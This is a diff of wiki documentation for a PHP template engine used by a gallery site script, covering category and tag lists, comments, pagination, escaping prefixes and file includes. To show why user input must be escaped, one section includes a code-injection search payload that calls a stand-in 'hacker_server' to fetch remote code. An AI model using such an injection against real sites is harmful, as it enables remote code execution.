 + 
 +===== category_list separator  ===== 
 + 
 +The <category_list>, <model_list>, and <tag_list> tags support an additional parameter: separator.
  
 <code> <code>
-&date_limit=today (yesterday, this_week, this_month)+The issue is that if you display groups like this: 
 + 
 +<category_list num=1-10><!--CATEGORY_NAME--> </category_list> 
 + 
 +then you could get something like "category1,category2,category3," 
 + 
 +the trailing comma looks messy. 
 + 
 +Now you can do 
 + 
 +<category_list num=1-10 separator="," ><!--CATEGORY_NAME--> </category_list> 
 + 
 +and the output will be "category1,category2,category3" without the trailing comma.
 </code> </code>
  
  
 +===== category_list =====
  
-===== Template variables =====+Let's imagine that we have 2 main categories: cars (1) and motorcycles (2), and each of them contains subcategories (for example, the colors red, blue, etc.) 
 + 
 +It turns out that any gallery actually has at least 2 categories, for example “car” and “blue”. We display only cars in the template, for example
  
  
 <code> <code>
 +<thumb num=1-5 order=ctr category_id=1>
 +<category_list num=1-5
 +  separator="..."><!--CATEGORY_NAME--></category_list><br>
 +</thumb>
 +</code>
  
-  <!--URL--> = <!--GAL_URL--> - gallery URL +In this case, <category_list will output these two categories: cars (the root category) and blue (the subcategory).
-  <!--THUMB_URL-->  +
-  <!--EXTRA_THUMB_URL--> +
-  <!--THUMB_LINK--> - important parameter for click counting  +
-  <!--DESCRIPTION-->   +
-  <!--DESCRIPTION_40-->  description cutted to 40 chars +
-  <!--SAFE_DESC--> safe description w\o special chars +
-  <!--ALT--> also known as title +
-  <!--ALT_30--> - title sutted to 40 chars +
-  <!--TAG1-->  first tag of gallery's tags +
-  <!--TAG2-->  +
-  <!--SOURCE_URL-->  +
-  <!--MAIN_GROUP--> +
-  <!--MAIN_GROUP_ID-->+
  
 +If you want to display only subcategories, use:
  
-<!--GALLERY_ID-->  +<code> 
-<!--GALLERY_SLUG-->  +<category_list skip_parent_category=true num=1-5 
-<!--SAFE_DESC--> +  separator="..." 
-<!--ACTIVATION_DATE--> +> 
-<!--ACTIVATION_DATETIME--> +  <!--CATEGORY_NAME--> 
-<!--DURATION--> +</category_list> 
-<!--EMBED_CODE-->+</code> 
 +    
 +    
 +===== tag_list =====
  
-<!--CUSTOM_VAR1--> +Templates can iterate over all gallery tags with <tag_list ...> <!--TAG--> </tag_list>.
-<!--CUSTOM_VAR2--> +
-<!--CUSTOM_VAR3-->+
  
 +<code>
 +<tag_list order=alphabet search="milk" separator="," num=1-5><!--TAG-->
 +  </tag_list>
  
-for flash galleries (when sponsor gives you url to flv)+additional options
  
-<!--FLV_WIDTH--> +  order=alphabet, random 
-<!--FLV_HEIGHT--> +  search="milk" 
-<!--FLV_THUMB_URL--> +  separator="," 
-<!--FLV_URL-->+  tag_status=wait \ active 
 +</code>
  
  
-With update 48 models were added 
  
-<!--MODEL_NAME--> +**Tag languages**
-<!--MODEL_SLUG--> +
-<!--MODEL_DESCRIPTION--> +
-<!--MODEL_CUSTOM_VAR1--> +
-<!--MODEL_CUSTOM_VAR2--> +
-<!--MODEL_CUSTOM_VAR3-->+
  
 +If your site supports multiple languages, tags can be translated accordingly. For example, on the /de page the tags can be displayed in German:
  
-if gallery has more then 1 model +  <tag_list num=1-5> <!--TAG_NAME--> </tag_list> 
 + 
  
-<!--MODEL_1_NAME--> +Usually tags are linked to a page in the gallery listing by this tag, for example
-<!--MODEL_1_SLUG-->+
  
-<!--MODEL_2_NAME--> +  <tag_list num=1-5>  
-<!--MODEL_2_SLUG-->+  <a href='/tag/<!--TAG_NAME-->/ 
 +  </tag_list>
  
-and so on 
  
 +In that case, the tag in the URL will also be written in German. If you want links to stay in the main language, for example English, you need to change the output language:
 +
 +  <tag_list num=1-5> 
 +  <a href='/tag/<!--TAG_NAME::MAIN-->/'>
 +    <!--TAG_NAME-->
 +  </a>
 +  (other lng <!--TAG_NAME::DE--> <!--TAG_NAME::IT--> and so on)
 +  </tag_list>
 +
 +
 +===== Language Modifiers =====
 +
 +If you have several languages ​​on your site, then you can access any data in another language by adding ::LNG at the end of the tag, for example on the /de page
 +
 +
 +<!--TAG_NAME--> current page language (in this example will display in German)
 +  <!--TAG_NAME::MAIN--> in the main language (let's say main English)
 +  <!--TAG_NAME::DE--> in German
 +  <!--TAG_NAME::IT--> in Italian
 +  
 +  
 +  
 +  
 +===== Comments =====
 +
 +On the gallery page you can display comments about it
 +
 +<code>
 +<!--TOTAL_COMMENTS-->
 +
 +<comments num=1-10>
 +<!--DATE--> <!--USERNAME--> : <!--COMMENT-->
 +</comments>
 +
 +And comment pagination
 +
 +<comments type=pagination num=1-10>
 +<!--PAGE_NUM--> ...
 +</comments>
 </code> </code>
  
-For categories (groups) pages +Options
  
 <code> <code>
-<!--CATEGORY_NAME--> = <!--GROUP_NAME-->  +order = date 
-<!--CATEGORY_ID--> = <!--GROUP_ID--> +sort = asc\desc (desc by default) 
 +</code> 
 + 
 +====== Page tags ====== 
 + 
 +Each page has a number of its own tags. 
 + 
 + 
 +**Relevant for everyone** 
 + 
 +<code> 
 +<!--LOCAL_DOMAIN--> 
 +</code> 
 + 
 + 
 + 
 +**For category page** 
 + 
 +<code> 
 +<!--CATEGORY_NAME--> = <!--GROUP_NAME--> 
 +<!--CATEGORY_CUSTOM_NAME--> 
 +<!--CATEGORY_ID--> = <!--GROUP_ID-->
 <!--CATEGORY_DESCRIPTION--> <!--CATEGORY_DESCRIPTION-->
 <!--CATEGORY_KEYWORDS--> <!--CATEGORY_KEYWORDS-->
-<!--TOTAL_ITEMS-->+<!--TOTAL_ITEMS--> total number of galleries in the category
  
 <!--CATEGORY_CUSTOM_VAR1--> <!--CATEGORY_CUSTOM_VAR1-->
 <!--CATEGORY_CUSTOM_VAR2--> <!--CATEGORY_CUSTOM_VAR2-->
 <!--CATEGORY_CUSTOM_VAR3--> <!--CATEGORY_CUSTOM_VAR3-->
 +</code>
  
  
-For search +**For model page**
  
 +<code>
 +<!--MODEL_ID-->
 +<!--MODEL_NAME-->
 +<!--MODEL_SLUG-->
 +<!--MODEL_DESCRIPTION-->
 +<!--MODEL_CUSTOM_VAR1-->
 +<!--MODEL_CUSTOM_VAR2-->
 +<!--MODEL_CUSTOM_VAR3-->
 +</code>
 +
 +**For search**
 +
 +<code>
 <!--SEARCH_QUERY--> <!--SEARCH_QUERY-->
 <!--SEARCH_TYPE--> <!--SEARCH_TYPE-->
 +</code>
  
 +**Sponsor page**
 +
 +<code>
 +<!--SPONSOR_NAME-->
 +<!--SPONSOR_SITE-->
 +<!--SPONSOR_SITE_URL-->
 +<!--SPONSOR_TRIAL_URL-->
 +<!--SPONSOR_JOIN_URL-->
 +<!--SPONSOR_TITLE-->
 +<!--SPONSOR_DESCRIPTION-->
 +<!--SPONSOR_PAYMENT_OPTIONS-->
 +<!--SPONSOR_SEO_NAME-->
 +<!--SPONSOR_LOGO-->
 +
 +<!--SPONSOR_BANNER1-->
 +<!--SPONSOR_BANNER2-->
 </code> </code>
  
  
-For custom galleries+**For custom gallery**
  
 +Basically, the same tags that are available inside a subtemplate are also available on a custom gallery page. If thumb 1 has the description “super pic” and that value is displayed in the subtemplate with <!--DESCRIPTION-->, then the same tag will output the same value on the custom gallery page.
 +
 +The same applies to tags by sponsor; if sponsor is 1, then all sponsor tags, for example <!--SPONSOR_NAME-->, will display data for this sponsor.
 +
 +But there are several tags that are relevant specifically for custom gallery pages.
 +
 +**For embed gallery the same applies**
  
 <code> <code>
-  <!--IMG_1_IMAGE--> +<!--EMBED_CODE--> 
-  <!--IMG_1_THUMB--> +</code>
-  <!--IMG_1_THUMB_X--> +
-  <!--IMG_1_THUMB_Y--> +
-  +
  
-  <!--IMG_2_IMAGE--> + 
-  <!--IMG_2_THUMB--> +**Relevant for flv gallery** 
-  <!--IMG_2_THUMB_X--> + 
-  <!--IMG_2_THUMB_Y--> +<code> 
-   +<!--FLV_WIDTH--> 
-  and so on+<!--FLV_HEIGHT--> 
 +<!--FLV_THUMB_URL--> 
 +<!--FLV_URL--> 
 +</code> 
 + 
 + 
 +**For picture\movie galleries** 
 + 
 + 
 + 
 +<code> 
 +  <gallery_content num=1-10> 
 +  <!--ITEM_NUM--> 
 +  <!--IMAGE--> 
 +  <!--THUMB--> 
 +  <!--THUMB_X--> <!--THUMB_Y--> 
 +  <!--IMAGE_X--> <!--IMAGE_Y--><br> 
 +  </gallery_content> 
 + 
 +Can be limited by content type 
 + 
 +<gallery_content num=1-10 content_limit=image> 
 +  movie, flash 
 +  (although flash is mostly only relevant 
 +  for older sites now)
  
   <!--SPONSOR_NAME-->   <!--SPONSOR_NAME-->
Line 263: Line 1023:
   <!--SPONSOR_PAYMENT_OPTIONS-->   <!--SPONSOR_PAYMENT_OPTIONS-->
   <!--SPONSOR_SEO_NAME-->   <!--SPONSOR_SEO_NAME-->
-  <!--SPONSOR_LOGO-->   +  <!--SPONSOR_LOGO--> 
-  +
   <!--SPONSOR_BANNER1-->   <!--SPONSOR_BANNER1-->
   <!--SPONSOR_BANNER2-->   <!--SPONSOR_BANNER2-->
Line 271: Line 1031:
   <!--CUSTOM_VAR2-->   <!--CUSTOM_VAR2-->
   <!--CUSTOM_VAR3-->   <!--CUSTOM_VAR3-->
-   +</code>
-example of IF statement+
  
-<!--IF IMG_6-->+The old version of content output is supported, but it is better to use the one indicated above 
 + 
 +<code> 
 +<!--IMG_1_IMAGE--> URL of the first large image 
 +  <!--IMG_1_THUMB--> URL first thumb 
 +  <!--IMG_1_THUMB_X--> according to dimensions 
 +  <!--IMG_1_THUMB_Y--> 
 + 
 +IMG_2_ IMG_3... and so on 
 + 
 +Please note: 
 +starting from version 49, 
 +content inside a custom gallery 
 +is split by content type, 
 +so you can create mixed custom galleries, 
 +for example with both pictures and movies. 
 + 
 +  For the first image it will be 
 +    <!--IMAGE_1_THUMB--> <!--IMAGE_1_IMAGE--> 
 +    <!--IMAGE_1_THUMB_X--> <!--IMAGE_1_THUMB_Y--> 
 + 
 +  For the first movie it will be 
 +    <!--MOVIE_1_THUMB--> <!--MOVIE_1_IMAGE--> 
 +    <!--MOVIE_1_THUMB_X--> <!--MOVIE_1_THUMB_Y--> 
 + 
 +  For the first flash item it will be 
 +    <!--FLASH_1_THUMB--> <!--FLASH_1_PREVIEW_THUMB--> 
 +    <!--FLASH_1_IMAGE--> 
 +    <!--FLASH_1_THUMB_X--> <!--FLASH_1_THUMB_Y--> 
 + 
 +and also <!--GALLERY_TEXT--> - all text 
 +from the gallery that was used 
 +to create this custom gallery. 
 +You can edit this text in Edit any gallery. 
 + 
 +And common variables for a custom gallery 
 + 
 +  <!--GALLERY_TOTAL_SHOWS--> 
 +  <!--GALLERY_TOTAL_ITEMS--> 
 +  <!--GALLERY_TOTAL_IMAGES--> 
 +  <!--GALLERY_TOTAL_MOVIES--> 
 +  <!--GALLERY_TOTAL_FLASH--> 
 + 
 +as well as an example of checking the presence of a picture 
 + 
 +<? if ('<!--IMG_6_IMAGE-->') { ?>
 <a href='<!--IMG_6_IMAGE-->'><img src='<!--IMG_6_THUMB-->'></a> <a href='<!--IMG_6_IMAGE-->'><img src='<!--IMG_6_THUMB-->'></a>
-<!--END IF-->+<? } ?> 
 + 
 +For comments 
 + 
 +<!--TOTAL_COMMENTS--> 
 + 
 +<comments num=1-10> 
 +<!--DATE--> <!--USERNAME--> : <!--COMMENT--> 
 +</comments> 
 + 
 +For single_page_item 
 + 
 +<!--ITEM_THUMB--> 
 +<!--ITEM_IMAGE-->
  
 +<!--ITEM_IMAGE_X-->
 +<!--ITEM_IMAGE_Y-->
 </code> </code>
      
  
 +====== Tag prefix ======
 +
 +There are prefixes for standard modifications of variables. For example, you want to do
 +
 +<code>
 +<?php ucfirst('<!--DESCRIPTION-->'); ?>
 +</code>
 +
 +If there is a quotation mark in the description, then such code in your template will generate an error. For example, the description "tom's dinner" turns out to be
      
-You have to mark places where you want to output thumbs:+  <?php ucfirst('Tom\'s dinner'); ?> 
 +   
 +As it is not difficult to notice, there is a problem with quotation marks. To avoid this you need to use prefixes for example **<!--ESCAPED**
  
-  <thumb num=1></thumb> +  <?php ucfirst('<!--ESCAPED_DESCRIPTION-->'); ?> 
-  or + 
-  <!--default_1--> - means output first thumb using subtemplate default +It looks like replacing a regular tag with a tag with a prefix 
-  or + 
-  <!--default_1-5--> - means output first 5 thumbs using subtemplate default+For example, this is how <!--ALT--> becomes <!--ESCAPED_ALT--> and so on with all tags.  In our example, the tag will be replaced with "tom\'s dinner", the code will be 
 +   
 +  <?php ucfirst('Tom's dinner'); ?> 
 +   
 +which will be executed without errors.
      
  
-===== Navigation (Pagination) =====+Currently the following prefixes exist:
  
-let's say you have 100 thumbs per page and 1 000 thumbs - that's why you need 10 pages , and here's code example+**1. Escaping quotes**
  
-  <navigation> +For example, this is how <!--ALT--> becomes <!--ESCAPED_ALT--> and so on with all tags.
-  <li><a href="/category/<!--CATEGORY_ID-->/<!--CATEGORY_NAME-->/<!--SORT_ORDER-->/<!--PAGE_NUM-->/" title="<!--PAGE_NUM-->"><!--PAGE_NUM--></a></li> +
-  </navigation>+
  
 +**2. HTMLENTITY to replace html special characters such as & with &**
  
-Other parameters for pagination +<code> 
-  * skip_href_deletion=true - do not delete hraf tag from current page +'&' (ampersand) becomes '&amp;' 
-  * active_link_style=act_pg and link_style=not_act_page - adds styles for current\non-current pages+'"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set. 
 +''' (single quote) becomes '&#039;' only when ENT_QUOTES is set. 
 +'<' (less than) becomes '&lt;' 
 +'>' (greater than) becomes '&gt;'
  
 +For example, this is how <!--ALT--> becomes <!--HTMLENTITY_ALT--> and so on
 +  with all tags.
 +</code>
 +
 +**3. URLENCODE for special characters in the URL, such as space, +, etc. **
  
 <code> <code>
-For example you have following code+For example, 
 +<!--TAG_1--> becomes <!--URLENCODE_TAG_1--> 
 +and so on with all tags. 
 +</code>
  
-<navigation skip_href_deletion=true active_link_style=act_page link_style=not_act_page> +Actually http://www.php.net/manual/en/function.urlencode.php
-<li><a href="/?page=<!--PAGE_NUM-->" title="<!--PAGE_NUM-->" style='<!--LINK_STYLE-->' ><!--PAGE_NUM--></a></li> +
-</navigation>+
  
-Let's say we are on the 2nd page of total 3 pages+**4. RAWURLENCODE for special characters in the URL, for example space at %20, etc. **
  
 +<code>
 +For example,
 +<!--TAG_1--> becomes <!--RAWURLENCODE_TAG_1-->
 +and so on with all tags.
 +</code>
  
-<li><a href="/?page=1" title="1" style='not_act_page' >1</a></li> +Actually http://www.php.net/manual/en/function.rawurlencode.php
-<li><a href="/?page=2" title="2" style='act_page' >2</a></li> +
-<li><a href="/?page=3" title="3" style='not_act_page' >3</a></li>+
  
 +And there is also <!--GET_...>, which represents passed GET variables. For example, if the URL contains ?search=..., the value will be available as <!--GET_SEARCH-->. Combined with <!--ESCAPED_...>, this gives you a safe and convenient way to output passed variables.
  
 +  <!--ESCAPED_GET_SEARCH-->
  
-w\o skip_href_deletion=true  it would be like  
  
-<li><a href="/?page=1" title="1" style='not_act_page' >1</a></li>+**5. STRIP_SPECIAL_CHARS_ to remove all special characters !$@, etc. ** 
 + 
 +Currently replace looks like trim(preg_replace('|[\\\,\|\,<\.>\/\?;:\'\"\[\{\]\}\`~@#\$%\^&\*\(\)\-_=\+]*|i', ​​"", $var)) 
 + 
 + 
 +For example <!--STRIP_SPECIAL_CHARS_DESCRIPTION_30--> 
 +   
 +**6. URLSAFE_ **  
 + 
 +replaces spaces and other things with dashes to make the URL look better 
 + 
 +** More **  
 + 
 +UPPERCASE_ - all in capital letters 
 + 
 +LOWERCASE_ - all in small letters 
 + 
 +UCFIRST_ the first letter in the sentence is capital 
 + 
 +CUT20_ - trim leaving only the first 20 characters 
 + 
 +WORDCUT20_ - trim leaving only the first 20 characters, taking into account the end of words, they do not cut off the word in half 
 +====== Tag prefix - why important ====== 
 + 
 +As you probably know, templates can contain PHP code. There is no need to cover every PHP edge case here, but one simple example is enough. Suppose you want to output the description tag <!--DESCRIPTION--> in uppercase. In PHP that looks like this: 
 + 
 +change <!--DESCRIPTION--> to <?php echo strtoupper('<!--DESCRIPTION-->')?> 
 +   
 +However, there is one important caveat here: if the description contains a quotation mark, you will end up with something like <?php echo strtoupper('masha's super pic')?>, which breaks the string and causes a PHP error. So this direct approach is safe only if you are sure the value cannot contain quotes. In all other cases, use the prefixes described in [[new_rotation_templates#tag_prefix]] 
 + 
 +<code> 
 +An example with <!--DESCRIPTION--> would look like: 
 + 
 +<?php echo strtoupper('<!--ESCAPED_DESCRIPTION-->')?> 
 +</code>   
 + 
 + 
 +**Example with SEARCH_QUERY** 
 + 
 +The user is looking for /?search=boy's girl 
 + 
 + 
 +For example, you have 
 + 
 +  Search was <?=ucfirst('<!--SEARCH_QUERY-->')?> 
 +   
 +it turns out the code 
 + 
 +  Search was <?=ucfirst('boy's girl')?>   
 +   
 +which crashes with an error 
 + 
 + 
 +it’s even worse if the URL contains a hacking code, for example 
 + 
 +  /?search=' . file_get_contents("http://hacker_server/some_code.php") 
 + 
 + 
 +and it is executed in your template. 
 + 
 +Therefore, it is very important to escape all user input 
 + 
 + 
 +  Search was <?=ucfirst('<!--ESCAPED_SEARCH_QUERY-->')?> 
 +   
 +   
 +  
 + 
 + 
 +====== Pagination ====== 
 + 
 +Since there are usually many thumbs, you need page navigation. For example: 
 + 
 +<code> 
 +<pagination first_pages=3 adjustment=1 last_pages=3 
 +  range_separator=" ... " 
 +> 
 +  <li> 
 +    <a 
 +      href="/category/<!--CATEGORY_ID-->/ 
 +        <!--CATEGORY_NAME-->/ 
 +        <!--SORT_ORDER-->/ 
 +        <!--PAGE_NUM-->/" 
 +      title="<!--PAGE_NUM-->" 
 +    > 
 +      <!--PAGE_NUM--> 
 +    </a> 
 +  </li> 
 +</pagination> 
 +</code> 
 + 
 +* skip_href_deletion=true By default the script deletes an href from the current page, with this option it will not delete. 
 +  * active_link_style=act_pg and link_style=not_act_page sets the appropriate styles for the active and inactive pages 
 +  * max_pages limit the maximum number of pages. It’s useful if you have a very large database; real people still don’t go to the very end. 
 + 
 + 
 +<code> 
 +For example, our navigation code is like this: 
 + 
 +<pagination skip_href_deletion=true active_link_style=act_page 
 +  link_style=not_act_page> 
 +  <li> 
 +    <a href="/?page=<!--PAGE_NUM-->" 
 +       title="<!--PAGE_NUM-->" 
 +       style='<!--LINK_STYLE-->'> 
 +      <!--PAGE_NUM--> 
 +    </a> 
 +  </li> 
 +</pagination> 
 + 
 +Assume you are on page 2 and there are 3 pages total. 
 + 
 +the script will output: 
 + 
 +<li><a href="/?page=1" title="1" style='not_act_page'>1</a></li> 
 +<li><a href="/?page=2" title="2" style='act_page'>2</a></li> 
 +<li><a href="/?page=3" title="3" style='not_act_page'>3</a></li> 
 + 
 +without skip_href_deletion=true it would look like this 
 + 
 +<li><a href="/?page=1" title="1" style='not_act_page'>1</a></li>
 <li>2</li> <li>2</li>
-<li><a href="/?page=3" title="3" style='not_act_page' >3</a></li>+<li><a href="/?page=3" title="3" style='not_act_page'>3</a></li> 
 +</code>
  
  
 +more examples:
  
 +1. explicitly setting the style attribute to html tags
  
-Or Prev \ Next example+Assume you are on page 2 and there are 3 pages total:
  
-<?php if ('<!--PREV_PAGE-->') { ?> +<code> 
-<li><a href="/category/<!--CATEGORY_ID-->/<!--CATEGORY_NAME-->/<!--SORT_ORDER-->/<!--PREV_PAGE-->/" title="<!--PREV_PAGE-->"><!--PREV_PAGE--></a></li> +<pagination skip_href_deletion=true active_link_style="color: red;" 
-<?php } ?>+  link_style="color: blue;"> 
 +  <li> 
 +    <a href="/?page=<!--PAGE_NUM-->" 
 +       title="<!--PAGE_NUM-->" 
 +       style='<!--LINK_STYLE-->'> 
 +      <!--PAGE_NUM--> 
 +    </a> 
 +  </li> 
 +</pagination> 
 +</code>
  
-<?php if ('<!--NEXT_PAGE-->') { ?> +the script will output:
-<li><a href="/category/<!--CATEGORY_ID-->/<!--CATEGORY_NAME-->/<!--SORT_ORDER-->/<!--NEXT_PAGE-->/" title="<!--NEXT_PAGE-->"><!--NEXT_PAGE--></a></li> +
-<?php } ?>+
  
 +<code>
 +<li><a href="/?page=1" title="1" style=""color: blue;">1</a></li>
 +<li><a href="/?page=2" title="2" style="color: red;">2</a></li>
 +<li><a href="/?page=3" title="3" style="color: blue;">3</a></li>
 </code> </code>
  
 +2. setting the values ​​of data attributes depending on the current page:
  
 +<code>
 +<pagination active_link_style="current" link_style="regular"
 +  skip_href_deletion=true>
 +  <li data-page-ptr="<!--LINK_STYLE-->">
 +    <a href="/?page=<!--PAGE_NUM-->"><!--PAGE_NUM--></a>
 +  </li>
 +</pagination>
 +</code>
 +
 +for a request ?page=**2** will generate HTML markup like:
 +
 +<code>
 +<li data-page-ptr="regular"><a href="/?page=1">1</a></li>
 +<li data-page-ptr="current"><a href="/?page=2">2</a></li>
 +<li data-page-ptr="regular"><a href="/?page=3">3</a></li>
 +</code>
 +
 +3. setting a separate css class for the current page:
 +
 +<code>
 +<pagination active_link_style="pager__page--active"
 +  skip_href_deletion=false>
 +  <li class="pager__page <!--LINK_STYLE-->">
 +    <a href="/?page=<!--PAGE_NUM-->"><!--PAGE_NUM--></a>
 +  </li>
 +</pagination>
 +</code>
 +
 +for a request ?page=**3** will generate HTML markup like:
 +<code>
 +<li class="pager__page"><a href="/?page=1">1</a></li>
 +<li class="pager__page"><a href="/?page=2">2</a></li>
 +<li class="pager__page pager__page--active">3</li>
 +</code>
 +
 +4. setting a separate css class for the current page with tag replacement:
 +
 +<code>
 +<pagination active_link_style="pager__page--active"
 +  skip_href_deletion=false
 +>
 +  <li class="pager__page <!--LINK_STYLE-->">
 +    <?php if ('<!--LINK_STYLE-->' === 'pager__page--active'): ?>
 +      <span><!--PAGE_NUM--></span>
 +    <?php else: ?>
 +      <a href="/?page=<!--PAGE_NUM-->"><!--PAGE_NUM--></a>
 +    <?php endif; ?>
 +  </li>
 +</pagination>
 +</code>
 +
 +for a request ?page=**2** will generate HTML markup like:
 +<code>
 +<li class="pager__page"><a href="/?page=1">1</a></li>
 +<li class="pager__page pager__page--active"><span>2</span></li>
 +<li class="pager__page"><a href="/?page=3">3</a></li>
 +</code>
 +
 +
 +**List all the pages**
 +
 +If you need to display all pagination pages
 +
 +  <pagination show_all_pages=true
 +  
 +then we will output not 1 2 3 ... 70 71, but precisely the entire sheet 1 2 3 4 5 6 7 and so on until the end
 +  
 +
 +
 +
 +**There is also an option with Prev Next**
 +if you do not use <pagination but only prev\next, you reduce the load on the server, as the database does not need to count how many gallery there are in the current selection
 +
 +
 +<code>
 +<pagination link_type="prev_page">  ... <!--PREV_PAGE-->  ... </pagination>
 +
 +<pagination link_type="next_page">  ... <!--NEXT_PAGE-->  ... </pagination>
 +</code>
 +
 +
 +Please note that pagination shows pages for thumb rotation.
 +
 +For category thumbs, since their number is usually fixed, there is no point in recalculating them every time you create pages. Therefore, if you need pagination for category thumbs, then the best way to do it is like this
 +
 +<code>
 +<category num=1-20 adjust_num_to_page=true>
 +Here you need to pay attention:
 +this will display the categories
 +taking into account the current page,
 +because by default on any page
 +you still want to see the top categories.
 +</code>
 +
 +adding links
 +
 +<a href="http://domain/?page=1>
 +<a href="http://domain/?page=2>
 +
 +etc.
 +
 +I think it’s not difficult to calculate how many links you need depending on the number of categories you have.
 +And we get navigation for categories.
 +====== Category Thumbs ======
 +
 +The script automatically creates category thumbs, which by default are equal to the best thumb from each category. There may be 2 sets of category thumbs. Configured in Rotation - Tube - Settings.
  
-===== List of categories =====+To display a list of categories
  
   <category order=alphabet num=1-5>   <category order=alphabet num=1-5>
-  <li><a href="/category/<!--CATEGORY_ID-->/<!--CATEGORY_NAME-->/ctr/1/"><!--CATEGORY_NAME--></a></li>+  <li> 
 +    <a href="/category/<!--CATEGORY_ID-->/<!--CATEGORY_NAME-->/ctr/1/"> 
 +      <!--CATEGORY_NAME--> 
 +    </a> 
 +    (<!--TOTAL_ITEMS-->) (<!--THUMB_URL-->) 
 +  </li>
   </category>   </category>
 +
 +Parameters:
 +  * num which numbers to display (in this example, from 1st to 5th from the list).
 +  * min_gallery_count limit on the number of galleries in a category 
 +  * set - select a set of category thumbs, default is 1, but you can make set=2 for example <category order=alphabet num=1-5 set=2>
 +  * first_letter=... displays categories starting with such and such a letter, # - starts with a number
 +  * custom_name_first_letter = ... displaying categories whose custom name begins with such and such a letter
 +  * category_custom_var1 category_custom_var2 category_custom_var3 - by custom fields
 +  * filter_field= and immediately filter_value - unified for the above, for example filter_field=custom_name filter_value=GET_somevar where GET_somevar is somevar taken from the URL* sort_field = sort by a specific field (category_name, category_custom_name, category_custom_var1 (2, 3) )
 +  * sort_order - relative to sort_field (asc, desc)
 +  * order - sorting the list of categories alphabetically (alphabet), by popularity (clicks), number of gallery (total_items), randomly (random)
 +Technically, you can sort by any field from the array of each category, but here is a list of those sorts that may be useful except for the 2 most used 
 +category_custom_name, category_description, category_id, category_custom_var1, category_custom_var2, category_custom_var3
 +  * parent_id = Parent group ID
 +  * name="cat1,cat2" category name
 +  * category_id= Category ID
 +
 +Additional tags for the list of categories:
 +
 +* <!--CATEGORY_TOP_THUMBS_LIST--> <!--CATEGORY_TOP_THUMBS_LIST5--> - top category thumb, separated by commas, this data can be processed in the template as you need.
 +
 +
 +===== Category Pagination =====
 +
 +By default, if we display categories, then on all pages we should display just a list of categories without shift, if you have a page header for example
 +
 +  <category num=1-20 
      
 +  
 +then you need to display the first 20 categories, okay if the URL contains ?page=100500 , but in some cases when there are many categories, you need to display the categories taking into account ?page=
  
 +To do this, the category tag itself is displayed as
 +
 +<category num=1-20 adjust_num_to_page=true>
 +(here you need to add adjust_num_to_page)
 +  <!--CATEGORY_NAME-->
 +  </category>
 +
 +And to this you can add pagination specifically for category thumbs
 +
 +<category type=pagination num=1-20 adjust_num_to_page=true>
 +(note the type=pagination parameter)
 +  <!--PAGE_NUM--> (categories total = <!--TOTAL_ITEMS-->) ...
 +  </category>
      
-  * num - numbers like 1-5 mean from 1 to 5. +   
-  * order - can be alphabet and clicks. +Previous and next pages 
-  * min_gallery_count  limit by amount of galleries in сategory  +   
-  * set - you can you 2 sets of category thumbs +<code> 
-  * first_letter=... output categories with names starting with this letter only+<category link_type="prev_page" num=1-3> 
 +prev = <!--PREV_PAGE--> 
 +</category>
  
 +<category link_type="next_page" num=1-3>
 +Next = <!--NEXT_PAGE-->
 +</category>
 +</code>
  
  
-===== Include template ===== 
  
-You can include one template into another, for example, good idea to include header and footer in other templates.+Here you should pay attention everywhere that the tags are almost the same, but if you have only 100 categories then 
 + 
 +<code> 
 +<category link_type="next_page" num=1-20> 
 +Next = <!--NEXT_PAGE--> 
 +</category> 
 +</code> 
 + 
 + 
 + 
 +will print next on the 4th page, and if you do 
 + 
 +  <category link_type="next_page" num=1-50> 
 +  Next = <!--NEXT_PAGE--> 
 +  </category> 
 + 
 +then there will be no next on the 4th page.  
 +====== adjust_num_to_page ====== 
 + 
 +By default, category thumbs and models are displayed without &page= in the URL, for example, you have an index template 
 + 
 +<code> 
 +<category num=1-10 .... 
 + 
 +<thumb num=1-10  ... 
 +</code> 
 + 
 +then on the first page it will display the first 10 categories and the first 10 thumbs.  On the second page there will again be the first 10 categories, but the thumb will already have 11 - 20. This was done at one time because in most cases there is no need to “move” the list of categories across pages, otherwise, for example, on the 5th page there would no longer be a list of categories. 
 + 
 +But there are options when you still need to “move” the list of categories across pages. In this case, the adjust_num_to_page=true parameter is useful, for example 
 + 
 + 
 +  <category num=1-10 adjust_num_to_page=true> 
 +  
 +   
 +in this case, categories 11-20 will be displayed on the 2nd page 
 + 
 + 
 + 
 +====== Language list ====== 
 + 
 +You can list available translations using the tag 
 + 
 +<code> 
 +<lng_list num=1-100> 
 +    <!--TRANSLATION_LNG--> .. <!--LNG_CODE--> ...  <!--LNG_NAME--> <br> 
 +</lng_list> 
 +</code> 
 +====== Include template ====== 
 + 
 + 
 +You can connect any template, for example, place the site header in the header template and, in order not to duplicate the beginning of each page, connect it in the desired template
  
   <!--INCLUDE_TEMPLATE_header-->   <!--INCLUDE_TEMPLATE_header-->
      
-Also with update 48 you can include local and even remote file+Similarly, you can connect any other template.
  
-  <!--INCLUDE_FILE_/path/to/some/file--> 
-  <!--INCLUDE_FILE_http://remotehost//file--> 
  
 +====== INCLUDE_FILE ======
  
-===== Tag Cloud =====+Templates often include external files, for example, a piece of code with an exchange of links, which often happens even on another domain\server. 
 + 
 +This can be done via 
 + 
 +  <!--INCLUDE_FILE_/home/user/domain.com/file.txt--> 
 + 
 +it's practically analogous 
 + 
 +  <? include('/home/user/domain.com/file.txt'); ?> 
 +   
 +The difference is that in the first option the file is included once and placed in the cache. In the 2nd option, the file is included every time the page is loaded. In principle, for local files we can say that there is no difference. 
 + 
 + 
 +If the file is on a remote server, then you need to do this: 
 + 
 +  <!--INCLUDE_FILE_http://domain.com/file.txt--> 
 +   
 + 
 +**DO NOT** do this 
 +   
 +    <? include('http://domain.com/file.txt'); ?> 
 + 
 + 
 + 
 +To make it easier to transfer templates between domains, you can use the option 
 + 
 +  <!--INCLUDE_FILE_{BASE_DIR}/file.html--> 
 +   
 +   
 +where BASE_DIR is taken from common.php and, accordingly, is different for each domain.   
 +====== Tag Cloud ======
  
 <code> <code>
- <tag_cloud order=alphabet> +<tag_cloud order=alphabet> 
-      <a href="/tag/<!--TAG_NAME-->/"><font size='<!--TAG_RANK-->'><!--TAG_NAME-->  <!--TAG_HITS--></font></a>   +      <a href="/tag/<!--TAG_NAME-->/"> 
- </tag_cloud>+        <font size='<!--TAG_RANK-->'> 
 +          <!--TAG_NAME--> <!--TAG_HITS--> 
 +        </font> 
 +      </a> 
 +</tag_cloud>
  
 +You can also limit the number of tags
  
-You can also limit amount of tags displayed +<tag_cloud order=alphabet num=1-10> 
 +      <a href="/tag/<!--TAG_NAME-->/"> 
